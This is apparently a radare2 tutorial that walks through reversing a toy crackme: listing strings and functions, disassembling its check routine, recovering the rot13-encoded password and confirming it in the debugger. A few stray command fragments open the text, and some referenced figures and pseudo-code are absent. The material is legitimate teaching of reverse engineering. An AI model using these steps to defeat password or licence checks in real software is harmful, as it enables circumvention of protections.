f ts @ S*~text:0[3]; f t @ section..text
f ds @ S*~data:0[3]; f d @
.ad t t+ts @ d:ds

I usually begin with executing 'aa' (analyse all). The name is misleading because there is a lot more to analyze (check aa? but it’s enough for most of the binaries I examined. This time we’ll start straight with aaa to make things simpler and due to its small size. You can also run radare2 with the -A flag to analyze the binary straight at startup using aaa (e.g r2 -A megabeets_0x1).

[0x08048370]> a?
[x] Analyze all flags starting with sym. and entry0 (aa)
[0x08048370]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[*] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)


After the analysis radare2 associates names to interesting offsets in the file such as Sections, Function, Symbols, Strings, etc. Those names are called ‘flags’. Flags can be grouped into ‘flag spaces’. A flag space is a namespace for flags of similar characteristics or type. To list the flag spaces run 'fs'.

[0x08048370]> fs
0    4 . strings
1   35 . symbols
2   82 . sections
3    5 . relocs
4    5 . imports
5    1 . functions

We can choose a flag space using 'fs <flagspace>' and print the flags it contains using 'f'. To pass several commands in a single line we can use a semicolon (i.e 'cmd1; cmd2; cmd3;...').

[0x08048370]> fs imports; f
0x08048320 6 sym.imp.strcmp
0x08048330 6 sym.imp.strcpy
0x08048340 6 sym.imp.puts
0xffffffff 16 loc.imp.__gmon_start__
0x08048350 6 sym.imp.__libc_start_main

As we can see radare2 flagged up the imports used by the binary – we can see the well-known ‘strcmp’, ‘strcpy’, ‘puts’, etc., along with their corresponding addresses. We can also list the strings flagspace:

[0x08048370]> fs strings; f
0x08048700 21 str._n__.::_Megabeets_::.
0x08048715 23 str.Think_you_can_make_it_
0x0804872c 10 str.Success__n
0x08048736 22 str.Nop__Wrong_argument._n



We see that r2 flagged up some offsets as strings, some sort of variable names. Now let’s have a look at the strings themselves. There are several ways to list the strings of the file, and you should choose the one suits your goal the most.
iz – List strings in data sections
izz – Search for Strings in the whole binary
[0x08048370]> iz
vaddr=0x08048700 paddr=0x00000700 ordinal=000 sz=21 len=20 section=.rodata type=ascii string=\n .:: Megabeets ::.
vaddr=0x08048715 paddr=0x00000715 ordinal=001 sz=23 len=22 section=.rodata type=ascii string=Think you can make it?
vaddr=0x0804872c paddr=0x0000072c ordinal=002 sz=10 len=9 section=.rodata type=ascii string=Success!\n
vaddr=0x08048736 paddr=0x00000736 ordinal=003 sz=22 len=21 section=.rodata type=ascii string=Nop, Wrong argument.\n

We already know most of these strings – we saw them when we executed our binary, remember? We didn’t see the “Success” string though, this is probably our ‘good boy’ message. Now that we got the strings, let’s see where they’re used in the program.

[0x08048370]> axt @@ str.*
data 0x8048609 push str._n__.::_Megabeets_::. in main
data 0x8048619 push str.Think_you_can_make_it_ in main
data 0x8048646 push str._n_tSuccess__n in main
data 0x8048658 push str._n_tNop__Wrong_argument._n in main

This command reveals us more of radare2 features. The 'axt' command is used to “find data/code references to this address” (see 'ax?'). '@@' is like foreach iterator sign, used to repeat a command over a list of offsets (see '@@?'), and 'str.*' is a wildcard for all the flags that start with 'str.'. This combination helps me not just to list the strings flags but also to list the function name, where it’s used and the referenced instruction. Make sure to select the strings flagspace (default, use 'fs *') before.


As I mentioned before, all this time we were at the entrypoint of the program, now it’s time to move on. The strings we just listed are all referenced by ‘main’. in order to navigate from offset to offset we need to use the ‘seek’ command, represented by 's'. As you already know, appending ? to (almost) every command is the answer to all you problems.

[0x08048370]> s?
|Usage: s  # Seek commands
| s                 Print current address
| s addr            Seek to address
| s-                Undo seek
| s- n              Seek n bytes backward
| s–                Seek blocksize bytes backward
| s+                Redo seek
| s+ n              Seek n bytes forward
| s++               Seek blocksize bytes forward
| s[j*=]            List undo seek history (JSON, =list, *r2)
| s/ DATA           Search for next occurrence of ‘DATA’
| s/x 9091          Search for next occurrence of \x90\x91
| s.hexoff          Seek honoring a base from core->offset
| sa [[+-]a] [asz]  Seek asz (or bsize) aligned to addr
| sb                Seek aligned to bb start
| sC[?] string      Seek to comment matching given string
| sf                Seek to next function (f->addr+f->size)
| sf function       Seek to address of specified function
| sg/sG             Seek begin (sg) or end (sG) of section or file
| sl[?] [+-]line    Seek to line
| sn/sp             Seek next/prev scr.nkey
| so [N]            Seek to N next opcode(s)
| sr pc             Seek to register

So basically the seek command accepts an address or math expression as an argument. The expression can be math operations, flag, or memory access operations. We want to seek to the main function, we can do it by executing 's main' but let’s see first what other functions radare2 flagged for us using the afl command (Analyze Functions List).

[0x08048370]> afl
0x080482ec    3 35           sym._init
0x08048320    1 6            sym.imp.strcmp
0x08048330    1 6            sym.imp.strcpy
0x08048340    1 6            sym.imp.puts
0x08048350    1 6            sym.imp.__libc_start_main
0x08048360    1 6            sub.__gmon_start___252_360
0x08048370    1 33           entry0
0x080483a0    1 4            sym.__x86.get_pc_thunk.bx
0x080483b0    4 43           sym.deregister_tm_clones
0x080483e0    4 53           sym.register_tm_clones
0x08048420    3 30           sym.__do_global_dtors_aux
0x08048440    4 43   -> 40   sym.frame_dummy
0x0804846b   19 282          sym.rot13
0x08048585    1 112          sym.beet
0x080485f5    5 127          main
0x08048680    4 93           sym.__libc_csu_init
0x080486e0    1 2            sym.__libc_csu_fini
0x080486e4    1 20           sym._fini

Sweet! There are the imports we saw before, some .ctors, the entrypoints, libc, main and two interesting functions named ‘sym.beet’ and ‘sym.rot13;’.



main function

It’s time to look at some assembly (yay!). We first need to seek to the function using s main and then disassemble it using pdf (Print Disassemble Function). Pay attention how the address at the prompt changed to the address of main.

Note: As I said before, the goal of this tutorial is to teach radare2 and present some of it’s capabilities, not to teach assembly. Therefore I will not go through the code deeply and explain what it does. Honestly, the binary is really simple, you should get it even with basic understanding of reverse engineering.


[0x08048370]> s main
[0x080485f5]> pdf
          ;– main:
(fcn) main 127
  main ();
          ; var int local_8h @ ebp-0x8
          ; var int local_4h @ esp+0x4
             ; DATA XREF from 0x08048387 (entry0)
          0x080485f5      8d4c2404       lea ecx, [esp + local_4h]   ; 0x4
          0x080485f9      83e4f0         and esp, 0xfffffff0
          0x080485fc      ff71fc         push dword [ecx  4]
          0x080485ff      55             push ebp
          0x08048600      89e5           mov ebp, esp
          0x08048602      53             push ebx
          0x08048603      51             push ecx
          0x08048604      89cb           mov ebx, ecx
          0x08048606      83ec0c         sub esp, 0xc
          0x08048609      6800870408     push str._n__.::_Megabeets_::. ; str._n__.::_Megabeets_::.
          0x0804860e      e82dfdffff     call sym.imp.puts          ; int puts(const char *s)
          0x08048613      83c410         add esp, 0x10
          0x08048616      83ec0c         sub esp, 0xc
          0x08048619      6815870408     push str.Think_you_can_make_it_ ; “Think you can make it?” @ 0x8048715
          0x0804861e      e81dfdffff     call sym.imp.puts          ; int puts(const char *s)
          0x08048623      83c410         add esp, 0x10
          0x08048626      833b01         cmp dword [ebx], 1          ; [0x1:4]=0x1464c45
      ,=< 0x08048629      7e2a           jle 0x8048655
      |   0x0804862b      8b4304         mov eax, dword [ebx + 4]    ; [0x4:4]=0x10101
      |   0x0804862e      83c004         add eax, 4
      |   0x08048631      8b00           mov eax, dword [eax]
      |   0x08048633      83ec0c         sub esp, 0xc
      |   0x08048636      50             push eax
      |   0x08048637      e849ffffff     call sym.beet
      |   0x0804863c      83c410         add esp, 0x10
      |   0x0804863f      85c0           test eax, eax
     ,==< 0x08048641      7412           je 0x8048655
     ||   0x08048643      83ec0c         sub esp, 0xc
     ||   0x08048646      682c870408     push str.Success__n ; “Success!.” @ 0x804872c
     ||   0x0804864b      e8f0fcffff     call sym.imp.puts          ; int puts(const char *s)
     ||   0x08048650      83c410         add esp, 0x10
    ,===< 0x08048653      eb10           jmp 0x8048665
    |||      ; JMP XREF from 0x08048629 (main)
    |||      ; JMP XREF from 0x08048641 (main)
    |-> 0x08048655      83ec0c         sub esp, 0xc
    |     0x08048658      6836870408     push str.Nop__Wrong_argument._n ; “Nop, Wrong argument..” @ 0x8048736
    |     0x0804865d      e8defcffff     call sym.imp.puts          ; int puts(const char *s)
    |     0x08048662      83c410         add esp, 0x10
    |        ; JMP XREF from 0x08048653 (main)
    `—> 0x08048665      b800000000     mov eax, 0
          0x0804866a      8d65f8         lea esp, [ebp  local_8h]
          0x0804866d      59             pop ecx
          0x0804866e      5b             pop ebx
          0x0804866f      5d             pop ebp
          0x08048670      8d61fc         lea esp, [ecx  4]
          0x08048673      c3             ret

From reading the assembly we can generate a quick pseudo-code:


Visual Mode & Graph Mode

radare2 is equipped with a very strong and efficient suite of Visual Modes. The Visual Mode is much more user-friendly and takes the reversing using r2 to a whole new level. Pressing V  will bring us to the Visual Mode screen. Use p/P to change between modes. At the top of the screen you can see the command which was used to generate the view. Navigate to the disassembly view using p.


Basic Visual commands


You can go up and down using k and j respectively. Pressing Enter whenever you’re on jump or call will take you to the destination address. Next to each jump and call there’s a number inside square brackets, pressing the number on your keyboard will take you to the function/address.


As always in radare, pressing ? will take you to the help screen, you can explore the commands of the Visual Mode.


Use x/X to list the references to/from the function respectively. Use the numbers to jump  to a reference.

radare2 commands

Use :command to execute r2 commands from inside Visual Mode.


You can add or remove comment using ;[-]comment.


m<key> can be used to mark specific offset with a key of your choice. Press '<key> to go to your key.


Press q to return to r2 shell.


Visual Graphs

As in similar disassemblers, radare2 has Graph view. You can access Visual Graph mode from your shell by running VV, move Left/Down/Up/Right using h/j/k/l and jump to a function using g and the key shown next to the jump call (e.g gd).

Use ? to list all the commands and make sure not to miss the R command.

Disassembling ‘beet’

After a short break from disassembling. Let’s go back to it and now explore the function beet. As we saw earlier, our binary checks the result of beet that is called with the argument we pass to the program. We can print beet using several methods, here are some of them:

  • Seek to beet in r2 shell and print the function by using s sym.beet (sym.beet is a flag for the beet function. You can print the ‘sym’ flags by running f sym.<tab> ) and then executing pdf (print disassembled  function).
  • Print beet from r2 shell without seeking by using pdf @ sym.beet . @ is used as a temporary seeking. i.e “print the function at offset sym.beet”.
  • Jump to beet from Visual Mode from main using 3 (the digit next to the jump call).
  • Jump to beet from Visual Graph Mode from main using gd (‘d’ is the letter next to the jump call).

Here’s how beet looks like in Visual Graph Mode:

We can see that the given argument is copied to a buffer. The buffer is located at ebp - local_88h. ‘local_88h’ is actually 0x88  which is 136 in decimal. We can see this by executing ? 0x88. To execute r2 command from inside Visual Graph mode use : and then write the command.

:> ? 0x88
136 0x88 0210 136 0000:0088 136 “\x88” 10001000 136.0 136.000000f 136.000000

Hence, 128 bytes are allocated for the buffer in the stack, the next 4 bytes would be the saved ebp pointer of the previous stack frame, and the next 4 bytes will be the return address, this sums up to 136.

After the buffer is filled with the given argument, it is then compared with the result of a function named sym.rot13Rot-13 is a famous substitution cipher used a lot in CTFs and Crackmes. The function is called with 9 hexdecimal values that seems like radare failed to recognize as a string. We can do it manually using ahi s on these addresess.

:> ahi s @@=0x080485a3 0x080485ad 0x080485b7

ahi s is used to set specific offset as string (see ahi?). @@ is an iterator (see @@?) and the addresses are the ones from sym.beet which radare2 didn’t identify as contained string. After executing the command the graph will refresh (if it doesn’t, use r) and will look like this:

Great! Looks like the string that was hiding is “Megabeets” (pushed in reversed order due to endianness).

The binary performs rot13 on “Megabeets” and then compares the result with the argument we passed it using strcmp. Luckily we don’t need to work hard because r2 framework already include rot13 cipher in its rahash2 utility.

rahash2 compute checksums of files or strings using various algorithms.

Check man rahash2 for more information.

:> !rahash2 -E rot -S s:13 -s ‘Megabeets\n’

rahash2 performed rot13(“Megabeets”) and resulted with “Zrtnorrgf”. By using ! we can execute shell commands from within r2 shell as in system(3). We can assume that “Zrtnorrgf” is compared with our input. Let’s open the binary in debug mode with “Zrtnorrgf” as an argument using ood (check ood?) and see what we’ll get.


[0xf7749be9]> ood?
| ood [args]    reopen in debugger mode (with args)
[0xf7749be9]> ood Zrtnorrgf
Wait event received by different pid 7415
Wait event received by different pid 7444
Process with PID 7575 started…
File dbg:///home/remnux/Desktop/tutorials/megabeets_0x1 Zrtnorrgf reopened in read-write mode
= attach 7575 7575
Assuming filepath /home/remnux/Desktop/tutorials/megabeets_0x1
[0xf7749be9]> dc
Selecting and continuing: 7575.:: Megabeets ::.
Think you can make it?
Success!PTRACE_EVENT_EXIT pid=7575, status=0x0

Woohoo! We received the success message and solved the crack me. After getting the success message we can finally say that what the binary is doing is to take the first argument we pass it and compare it with rot13(“Megabeets”) which is “Zrtnorrgf”.

You can see the full source-code of the crackme here.


Here the first part of our journey with radare2 is coming to an end. We learned about radare2 just in a nutshell and explored only the basics of the basics. In the next parts we’ll learn more about radare2 capabilities including scripting, malware analysis and exploitation. I’m aware that it’s hard, at first, to understand the power within radare2 or why should you put aside some of your old habits and get used working with radare2, but I promise that having radare2 in your toolbox is a very smart step whether you’re a reverse engineer, a CTF player or just security enthusiast.

Above all I want to thank Pancake, the man behind radare2, for creating this amazing tool as libre and open, and to the amazing friends in the radare2 community that devote their time to help, improve and promote the framework.

Please post comments or message me privately if something is wrong, not accurate, needs further explanation or you simply don’t get it. Don’t hesitate to share your thoughts with me.

Part 2: Exploitation

Subscribe on the left if you want to get the next articles straight in your inbox.